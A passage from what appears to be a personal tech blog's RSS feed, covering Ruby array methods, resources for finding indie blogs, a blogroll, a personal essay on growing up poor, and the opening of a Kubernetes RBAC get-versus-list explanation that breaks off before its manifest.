</span></span><span class="line"><span class="cl"><span class="n">data</span><span class="o">.</span><span class="n">map!</span> <span class="p">{</span> <span class="o">|</span><span class="n">i</span><span class="o">|</span> <span class="n">i</span><span class="o">.</span><span class="n">nil?</span> <span class="p">?</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span> <span class="p">:</span> <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [100, 200, 0, 400, 500, 0]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="other-things-to-know">Other Things to Know</h2>
<h3 id="arrays-can-contain-multiple-types">Arrays Can Contain Multiple Types</h3>
<p>For example:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">&lt;&lt;</span> <span class="s2">&#34;a&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">&lt;&lt;</span> <span class="ss">:my_symbol</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">&lt;&lt;</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">hash_key</span><span class="p">:</span> <span class="s2">&#34;hash_value&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, &#34;a&#34;, :my_symbol, [1, 2], {:hash_key=&gt;&#34;hash_value&#34;}]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="getting-the-index-of-an-element">Getting the Index of an Element</h3>
<p>Use <code>index()</code> and pass in the element you are looking for to retrieve its index.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">&#34;B&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; 1</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If there are multiple occurrences of an element, <code>index()</code> will return the index of the first occurrence of the element:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">&#34;B&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; 1</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If an element isn&rsquo;t present in the array, <code>index()</code> returns <code>nil</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">&#34;Z&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; nil</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="reversing-elements-in-an-array">Reversing Elements in an Array</h3>
<p>Elements in an array can be reversed with <code>reverse()</code>. This method returns an array with elements sorted in reverse and does not modify the original array:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">reverse</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;C&#34;, &#34;B&#34;, &#34;A&#34;]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;C&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The <code>reverse!()</code> method does the same thing but it modifies the array in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">reverse!</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;C&#34;, &#34;B&#34;, &#34;A&#34;]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;C&#34;, &#34;B&#34;, &#34;A&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="converting-multi-dimensional-array-into-1-dimensional-array">Converting Multi-dimensional Array into 1-dimensional Array</h3>
<p>We can use <code>flatten()</code> to recursively extract elements from all arrays within an array and return an array with only elements. The original array remains unchanged.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="o">[</span><span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="o">[</span><span class="s2">&#34;E&#34;</span><span class="p">,</span> <span class="o">[</span><span class="s2">&#34;F&#34;</span><span class="o">]]]]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">flatten</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;C&#34;, &#34;D&#34;, &#34;E&#34;, &#34;F&#34;]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, [&#34;B&#34;, &#34;C&#34;], [&#34;D&#34;, [&#34;E&#34;, [&#34;F&#34;]]]]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can use <code>flatten!()</code> to modify the array in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="o">[</span><span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="o">[</span><span class="s2">&#34;E&#34;</span><span class="p">,</span> <span class="o">[</span><span class="s2">&#34;F&#34;</span><span class="o">]]]]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">flatten!</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;C&#34;, &#34;D&#34;, &#34;E&#34;, &#34;F&#34;]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;C&#34;, &#34;D&#34;, &#34;E&#34;, &#34;F&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="removing-all-elements-from-array">Removing All Elements from Array</h3>
<p>We can use <code>clear()</code> to remove all elements from an array in-place.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">clear</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; []</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; []</span>
</span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Note:</strong></p><p>Using <code>arr.clear</code> is not the same as setting <code>arr</code> to an empty array.</p>
<p><code>arr.clear</code> modifies the array in-place. All references to <code>arr</code> will be an empty array <code>[]</code>.</p>
<p><code>arr = []</code> creates a new empty array and assigns it to the <code>arr</code> variable. Other references to the original array are left intact.</p>
</blockquote>

<h3 id="removing-nil-elements-from-array">Removing <code>nil</code> Elements from Array</h3>
<p>We can use <code>compact()</code> to remove all <code>nil</code> elements in an array. This method returns a new array.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">compact</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, nil, 2, nil, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can use <code>compact!()</code> to do the same operation to the array in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">compact!</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1">#  =&gt; [1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<ul>
<li>

<a href="https://gist.github.com/mkdika/d1a9c72b6d2b86547f2269e82c235e83" target="_blank" rel="noopener">https://gist.github.com/mkdika/d1a9c72b6d2b86547f2269e82c235e83</a></li>
<li>

<a href="https://www.rubyguides.com/2017/07/ruby-sort/" target="_blank" rel="noopener">https://www.rubyguides.com/2017/07/ruby-sort/</a></li>
<li>

<a href="https://apidock.com/ruby/v2_5_5/Enumerable/sort_by" target="_blank" rel="noopener">https://apidock.com/ruby/v2_5_5/Enumerable/sort_by</a></li>
<li>

<a href="https://www.shortcutfoo.com/app/dojos/ruby-arrays/cheatsheet" target="_blank" rel="noopener">https://www.shortcutfoo.com/app/dojos/ruby-arrays/cheatsheet</a></li>
<li>

<a href="https://apidock.com/ruby/Array/" target="_blank" rel="noopener">https://apidock.com/ruby/Array/</a></li>
<li>

<a href="https://ruby-doc.org/core-3.1.0/Array.html" target="_blank" rel="noopener">https://ruby-doc.org/core-3.1.0/Array.html</a></li>
<li>

<a href="https://www.rubyguides.com/2018/10/ruby-map-method/" target="_blank" rel="noopener">https://www.rubyguides.com/2018/10/ruby-map-method/</a></li>
<li>

<a href="https://womanonrails.com/one-line-map-ruby" target="_blank" rel="noopener">https://womanonrails.com/one-line-map-ruby</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>How I Discover New Blogs</title>
      <link>https://nelson.cloud/how-i-discover-new-blogs/?ref=rss</link>
      <pubDate>Thu, 04 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-i-discover-new-blogs/?ref=rss</guid>
      <description>A list of resources I use to discover new blogs.</description><content:encoded><![CDATA[<p>This is a list of resources I use to discover new blogs. I also maintain a 

<a href="https://nelson.cloud/my-favorite-blogs/">list of my favorite blogs</a> if you&rsquo;re interested.</p>
<h2 id="hacker-news">Hacker News</h2>
<p>

<a href="https://news.ycombinator.com/" target="_blank" rel="noopener">https://news.ycombinator.com/</a></p>
<p>By far the best way I&rsquo;ve discovered new blogs is through Hacker News. I occasionally discover new blogs when a post/article from that blog is submitted to Hacker News. There are also HN posts where people share blogs:</p>
<ul>
<li>

<a href="https://news.ycombinator.com/item?id=36575081" target="_blank" rel="noopener">Ask HN: Could you share your personal blog here?</a></li>
<li>

<a href="https://news.ycombinator.com/item?id=27302195" target="_blank" rel="noopener">Ask HN: Favorite Blogs by Individuals?</a></li>
<li>

<a href="https://news.ycombinator.com/item?id=46618714" target="_blank" rel="noopener">Ask HN: Share your personal website</a></li>
</ul>
<p>There&rsquo;s more posts like these that can be found with a quick Google search.</p>
<h2 id="kagi-small-web">Kagi Small Web</h2>
<p><strong>

<a href="https://kagi.com/smallweb/" target="_blank" rel="noopener">https://kagi.com/smallweb/</a></strong></p>
<p>Kagi Small Web is an effort to highlight smaller sites and blogs around the web. You can learn more in 

<a href="https://blog.kagi.com/small-web" target="_blank" rel="noopener">Kagi&rsquo;s announcement post</a>.</p>
<p>A list of all sites indexed by Kagi Small Web is on GitHub: 

<a href="https://github.com/kagisearch/smallweb/blob/main/smallweb.txt" target="_blank" rel="noopener">https://github.com/kagisearch/smallweb/blob/main/smallweb.txt</a></p>
<h2 id="indieblogpage">indieblog.page</h2>
<p><strong>

<a href="https://indieblog.page/" target="_blank" rel="noopener">https://indieblog.page/</a></strong></p>
<p>indieblog.page lets you click a button and get a random blog post.</p>
<p>They also have a 

<a href="https://indieblog.page/all" target="_blank" rel="noopener">list of all blogs</a> and 

<a href="https://indieblog.page/rss" target="_blank" rel="noopener">several RSS feeds</a> to make discoverability easier.</p>
<h2 id="theforestlink">theforest.link</h2>
<p><strong>

<a href="https://theforest.link/" target="_blank" rel="noopener">https://theforest.link/</a></strong></p>
<p>Very similar to 

<a href="https://indieblog.page/" target="_blank" rel="noopener">indieblog.page</a> but more minimal. Click a button and get redirected to a random site.</p>
<h2 id="blogshn">blogs.hn</h2>
<p><strong>

<a href="https://blogs.hn/" target="_blank" rel="noopener">https://blogs.hn/</a></strong></p>
<p>This is a collection of blogs that mainly come from Hacker News. It was created by 

<a href="https://taylor.town/" target="_blank" rel="noopener">Taylor Troesh</a>.</p>
<h2 id="neocities">Neocities</h2>
<p><strong>

<a href="https://neocities.org/" target="_blank" rel="noopener">https://neocities.org/</a></strong></p>
<p>Neocities is a place where users can create a static site for free. Most sites here are reminiscent of the 90s web. I like to 

<a href="https://neocities.org/browse?sort_by=last_updated" target="_blank" rel="noopener">browse by the latest updated sites</a> but there are other filters too.</p>
<h2 id="oohdirectory">ooh.directory</h2>
<p><strong>

<a href="https://ooh.directory/" target="_blank" rel="noopener">https://ooh.directory/</a></strong></p>
<p>ooh.directory is a collection of blogs on all sorts of topics. They have a 

<a href="https://ooh.directory/random/" target="_blank" rel="noopener">Random Blogs</a> area that works similarly to 

<a href="https://indieblog.page/" target="_blank" rel="noopener">indieblog.page</a> and 

<a href="https://theforest.link/" target="_blank" rel="noopener">theforest.link</a>.</p>
<h2 id="personalsites">personalsit.es</h2>
<p><strong>

<a href="https://personalsit.es/" target="_blank" rel="noopener">https://personalsit.es/</a></strong></p>
<p>Another collection of blogs &ndash; with previews!</p>
<h2 id="250kbclub-512kbclub-1mbclub">250kb.club, 512kb.club, 1mb.club</h2>
<p><strong>

<a href="https://250kb.club/" target="_blank" rel="noopener">https://250kb.club/</a></strong></p>
<p><strong>

<a href="https://512kb.club" target="_blank" rel="noopener">https://512kb.club</a></strong></p>
<p><strong>

<a href="https://1mb.club" target="_blank" rel="noopener">https://1mb.club</a></strong></p>
<p>These sites all have the same idea in that they are collections of sites that are under a certain size (at least for the home page). There&rsquo;s lots of blogs to discover among all three lists.</p>
<h2 id="darkthemeclub">darktheme.club</h2>
<p><strong>

<a href="https://darktheme.club/" target="_blank" rel="noopener">https://darktheme.club/</a></strong></p>
<p>A list of sites that have dark mode functionality. These are generally indie blogs.</p>
<h2 id="bukmarkclub">bukmark.club</h2>
<p><strong>

<a href="https://bukmark.club/directory/" target="_blank" rel="noopener">https://bukmark.club/directory/</a></strong></p>
<p>bukmark.club is a list of sites that have curated links to other sites. You can easily go down a rabbit hole.</p>
<h2 id="minifeednet">minifeed.net</h2>
<p><strong>

<a href="https://minifeed.net/welcome" target="_blank" rel="noopener">https://minifeed.net/welcome</a></strong></p>
<p>A curated list of human-written blogs. When viewing a post or article from a blog here, minifeed will also show related blog posts from different sites which is great for discovering new blogs.</p>
<h2 id="the-big-list-of-personal-websites">The Big List of Personal Websites</h2>
<p><strong>

<a href="http://biglist.terraaeon.com/" target="_blank" rel="noopener">http://biglist.terraaeon.com/</a></strong></p>
<p>Another curated list of personal websites.</p>
<h2 id="blogrollclub">blogroll.club</h2>
<p><strong>

<a href="https://blogroll.club/" target="_blank" rel="noopener">https://blogroll.club/</a></strong></p>
<h2 id="rawweborg">rawweb.org</h2>
<p><strong>

<a href="https://rawweb.org/" target="_blank" rel="noopener">https://rawweb.org/</a></strong></p>
]]></content:encoded>
    </item>
    <item>
      <title>My Favorite Blogs</title>
      <link>https://nelson.cloud/my-favorite-blogs/?ref=rss</link>
      <pubDate>Wed, 03 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/my-favorite-blogs/?ref=rss</guid>
      <description>A list of my favorite blogs from around the web.</description><content:encoded><![CDATA[<p>These are some blogs I enjoy. This is essentially a 

<a href="https://indieweb.org/blogroll" target="_blank" rel="noopener">blogroll</a>. I&rsquo;ll be updating this over time.</p>
<ul>
<li>
<p>

<a href="https://crankysec.com/" target="_blank" rel="noopener">https://crankysec.com/</a></p>
</li>
<li>
<p>

<a href="https://ludic.mataroa.blog/" target="_blank" rel="noopener">https://ludic.mataroa.blog/</a></p>
</li>
<li>
<p>

<a href="https://jvns.ca/" target="_blank" rel="noopener">https://jvns.ca/</a></p>
</li>
<li>
<p>

<a href="https://www.writesoftwarewell.com/" target="_blank" rel="noopener">https://www.writesoftwarewell.com/</a></p>
</li>
<li>
<p>

<a href="https://xeiaso.net/" target="_blank" rel="noopener">https://xeiaso.net/</a></p>
</li>
<li>
<p>

<a href="https://www.wheresyoured.at/" target="_blank" rel="noopener">https://www.wheresyoured.at/</a></p>
</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Being Poor</title>
      <link>https://nelson.cloud/being-poor/?ref=rss</link>
      <pubDate>Mon, 01 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/being-poor/?ref=rss</guid>
      <description>Personal experiences of growing up poor</description><content:encoded><![CDATA[<p>I came across this article and it hit pretty deep: 

<a href="https://whatever.scalzi.com/2005/09/03/being-poor/" target="_blank" rel="noopener">https://whatever.scalzi.com/2005/09/03/being-poor/</a></p>
<p>This post is an extension of that link with my own personal experiences.</p>
<hr>
<p>Being poor is having to stay home alone as a kid because your parents can’t afford a babysitter.</p>
<p>Being poor is being afraid that your parents may get shot while you’re in elementary school.</p>
<p>Being poor is empty cans and bottles on the street catching your eye.</p>
<p>Being poor is collecting cans on the street with your mom for some recycling money.</p>
<p>Being poor is taking extra care of your clothes because you know your parents can’t buy you more.</p>
<p>Being poor is feeling guilty when your parents buy you something.</p>
<p>Being poor is getting bus money by fishing coins out of water fountains in the mall.</p>
<p>Being poor is having to take the bus to and from work.</p>
<p>Being poor is telling the bus driver you don’t have enough for the ride and hoping they let you on anyway.</p>
<p>Being poor is having to walk home for over an hour because the bus doesn’t pass through after 10PM.</p>
<p>Being poor is preferring to walk instead of taking the bus to save money.</p>
<p>Being poor is always being concerned about getting robbed on the street.</p>
<p>Being poor is being confused as a gangster by the police due to your race/ethnicity.</p>
<p>Being poor is hearing gunshots on a regular basis.</p>
<p>Being poor is having people get shot in front of your apartment building.</p>
<p>Being poor is living in an apartment in the basement of a building with no direct sunlight.</p>
<p>Being poor is not getting a response when calling the police despite them showing up immediately just a few blocks down in the wealthier area.</p>
<p>Being poor is living in a 

<a href="https://en.wikipedia.org/wiki/Section_8_%28housing%29" target="_blank" rel="noopener">Section 8</a> apartment.</p>
<p>Being poor is having all your friends live in houses and you’re the only one living in an apartment.</p>
<p>Being poor means being expected to provide financially for your family at 18.</p>
<p>Being poor is developing mental health issues without any means to address them.</p>
<p>Being poor means growing up without a dad.</p>
<p>Being poor is endlessly waiting for life to get better.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Kubernetes RBAC: Get vs List</title>
      <link>https://nelson.cloud/kubernetes-rbac-get-vs-list/?ref=rss</link>
      <pubDate>Sat, 23 Mar 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/kubernetes-rbac-get-vs-list/?ref=rss</guid>
      <description>The differences of get vs list RBAC verbs in Kubernetes</description><content:encoded><![CDATA[<h2 id="tldr">TL;DR</h2>
<p>Having <code>get</code> permissions to a Kubernetes object does not imply you have <code>list</code> permissions and vice versa.</p>
<p>This was not immediately obvious to me.</p>
<p>I figured that if you can list all objects of a certain kind (like secrets) you can also get individual objects and vice versa, but that&rsquo;s not the case.</p>
<p>Here&rsquo;s how it works using Kubernetes Secrets as an example object:</p>
<ul>
<li>
<p>If you only have <code>get</code> permissions, you will have to know the exact name of the secret you are trying to read beforehand. You can run a command like <code>kubectl get secret &lt;secret-name&gt;</code> successfully, but running <code>kubectl get secrets</code> will not work.</p>
</li>
<li>
<p>If you only have <code>list</code> permissions for secrets, you can run <code>kubectl get secrets</code> and see a list of secrets. But running <code>kubectl get secret &lt;secret-name&gt;</code> will not work.</p>
</li>
</ul>
<h2 id="example-with-minikube">Example with Minikube</h2>
<p>I&rsquo;ll be demonstrating the conclusion from above using 

<a href="https://minikube.sigs.k8s.io/docs/" target="_blank" rel="noopener">Minikube</a>. I&rsquo;ll be creating the following in K8s: a Secret, two Roles, two Service Accounts, and two RoleBindings to assign <code>get</code> and <code>list</code> RBAC permissions to each service account for testing.</p>
<p>Here is a very long manifest that creates the following objects:</p>
<ul>
<li>A namespace called <code>example</code></li>
<li>A 

<a href="https://kubernetes.io/docs/concepts/configuration/secret/#basic-authentication-secret" target="_blank" rel="noopener">basic authentication secret</a> called <code>credentials</code> in the <code>example</code> namespace</li>
<li>Two service accounts. One called <code>service-account-1</code> and another called <code>service-account-2</code></li>
<li>Two Roles:
<ul>
<li>A role named <code>get-secret</code> that allows users associated with this role to get a secret.</li>
<li>A role named <code>list-secrets</code> that allows users to list secrets.</li>
</ul>
</li>
<li>Two RoleBindings:
<ul>
<li>A RoleBinding named <code>get-secrets-binding</code> that will associate the service account <code>service-account-1</code> with the <code>get-secrets</code> role.</li>
<li>A RoleBinding named <code>list-secrets-binding</code> that will associate the service account <code>service-account-2</code> with the <code>list-secrets</code> role.</li>
</ul>
</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span></code></pre></td>
<td class="lntd">
